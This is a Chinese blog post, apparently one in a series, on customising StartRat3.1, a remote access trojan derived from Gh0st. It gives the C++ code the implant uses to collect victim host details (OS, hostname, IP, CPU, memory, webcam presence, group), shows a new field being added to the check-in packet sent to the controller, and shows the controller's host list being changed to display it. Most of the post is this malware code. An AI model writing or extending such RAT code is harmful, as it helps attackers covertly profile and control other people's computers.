欢迎光临
未来你我一起携手

StartRat3.1修改笔记-添加上线信息[连载中] 一步步自定义Ghost远程管理

主要目标:添加上线时获取的数据
首要还是需要在服务端修改一下那个登录时候的一个数据包 区域代码定位如下:

Server\common\login.h

紧接着呢,是一个函数。SendLoginInfo

int sendLoginInfo(LPCTSTR strServiceName, CClientSocket *pClient, DWORD dwSpeed)
{
    int nRet = SOCKET_ERROR;
    // 登录信息
    LOGININFO   LoginInfo;
    // 开始构造数据
    LoginInfo.bToken = TOKEN_LOGIN; // 令牌为登录
    LoginInfo.bIsWebCam = 0; //没有摄像头
    LoginInfo.OsVerInfoEx.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
    GetVersionEx((OSVERSIONINFO *)&LoginInfo.OsVerInfoEx); // 注意转换类型
    GetNtVersionNumbers(LoginInfo.OsVerInfoEx.dwMajorVersion,LoginInfo.OsVerInfoEx.dwMinorVersion,LoginInfo.OsVerInfoEx.dwBuildNumber);
    // 主机名
    char hostname[256];
    GetHostRemark(hostname, sizeof(hostname));
    // 连接的IP地址
    sockaddr_in  sockAddr;
    memset(&sockAddr, 0, sizeof(sockAddr));
    int nSockAddrLen = sizeof(sockAddr);
    getsockname(pClient->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen);
    memcpy(&LoginInfo.IPAddress, (void *)&sockAddr.sin_addr, sizeof(IN_ADDR));
    memcpy(&LoginInfo.HostName, hostname, sizeof(LoginInfo.HostName));
    // CPU
    LoginInfo.dwCPUClockMhz = CPUClockMhz();
    SYSTEM_INFO SysInfo;//用于获取CPU个数的
    GetSystemInfo(&SysInfo);
    LoginInfo.nCPUNumber = SysInfo.dwNumberOfProcessors;
    
    //内存大小
    MEMORYSTATUS    MemInfo; 
    MemInfo.dwLength=sizeof(MemInfo); 
    GlobalMemoryStatus(&MemInfo);
    LoginInfo.MemSize = MemInfo.dwTotalPhys/1024/1024;
    //摄像头
    LoginInfo.bIsWebCam = IsWebCam();
    // Speed
    LoginInfo.dwSpeed = dwSpeed;
    //QQ信息   20170205添加
   strcpy(LoginInfo.IsLoginQQ, "200748960");
    //上线版本
    strcpy(LoginInfo.szVersion, MyDecode(szVersion));
    // 上线分组
    char    *UpRow = NULL;
    char Group[256];
    char strWirn2[] = {'D','e','f','a','u','l','t','\0'};
    if(GetGroupName(Group, sizeof(Group))==0)
    {
        if(szGroup != NULL)
        {
            UpRow = (char *)(MyDecode(szGroup));
        }
        else
        {
            UpRow = strWirn2;
        }
    }
    else
    {
        UpRow=Group;
    }
    strcpy(LoginInfo.UpGroup,UpRow);
    nRet = pClient->Send((LPBYTE)&LoginInfo, sizeof(LOGININFO));
    return nRet;
}

注意下这里  我们修改一下这个上线的结构体

 选中Logininfo鼠标右键查看定义即可
typedef struct
{    
    BYTE            bToken;         // = 1
    OSVERSIONINFOEX OsVerInfoEx;    // 版本信息
    DWORD           dwCPUClockMhz;  // CPU频率
    int             nCPUNumber;     // CPU核数
    IN_ADDR         IPAddress;      // 存储32位的IPv4的地址数据结构
    char            HostName[50];   // 主机名
    bool            bIsWebCam;      // 是否有摄像头
    DWORD           dwSpeed;        // 网速
    DWORD           MemSize;        // 内存大小
    char            UpGroup[50];    // 上线分组
    char            szVersion[32];  // 上线版本
    char            IsLoginQQ[50]; //wo我们新添加
}LOGININFO;

我们紧接着先编译一下。这边dll已经好了.后续的一些工作我这里不剉赘述
现在我们在客户端上也要做一些修改
此时的界面如下

StartRat3.1修改笔记-添加上线信息

在界面上我做了一些小小的修改。不是很大,忽略即可!现在我们要针对列表框进行一下修改 添加一个新的栏目

LISTHEAD g_Column_Data[] = 
{
    {_T("ID"),              60  },//0
    {_T("WAN"),             102 },//1
    {_T("LAN"),             102 },//2
    {_T("计算机名/备注"),   80  },//3
    {_T("操作系统"),        80  },//4
    {_T("CPU信息"),         85  },//5
    {_T("内存大小"),        65  },//6
    {_T("速度"),            36  },//7
    {_T("视频"),            36  },//8
    {_T("版本"),            45  },//9
//  {_T("DDOS"),            50  },//10        //20170205干掉DDOS
    {_T("地理位置"),        130 },
    {_T("QQ"),      130 }
};

紧接着查找一下CClientVIwer这个类 里面有一个OnAddtoList函数
部分片段如下

// 内网IP
        m_pListCtrl->SetItemText(i, 2, inet_ntoa(LoginInfo->IPAddress));
        // 主机名
        m_pListCtrl->SetItemText(i, 3, LoginInfo->HostName);
        ////////////////////////////////////////////////////////////////////////////////////////

先简单修改一下吧
依葫芦 画瓢

 //20170205新增加接受QQ信息
        m_pListCtrl->SetItemText(i, 11, LoginInfo->IsLoginQQ);

然后看看效果

未经允许不得转载:卧栏听雨 » StartRat3.1修改笔记-添加上线信息[连载中]
分享到: 更多 (0)

评论 2

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址
  1. #1

    这里就是处理了服务端回传消息。在服务端向客户端放松登录信息的时候加了一个字段

    饭不多吃话不多说3个月前 (09-05)回复
    • 恩恩

      饭不多吃话不多说2个月前 (09-07)回复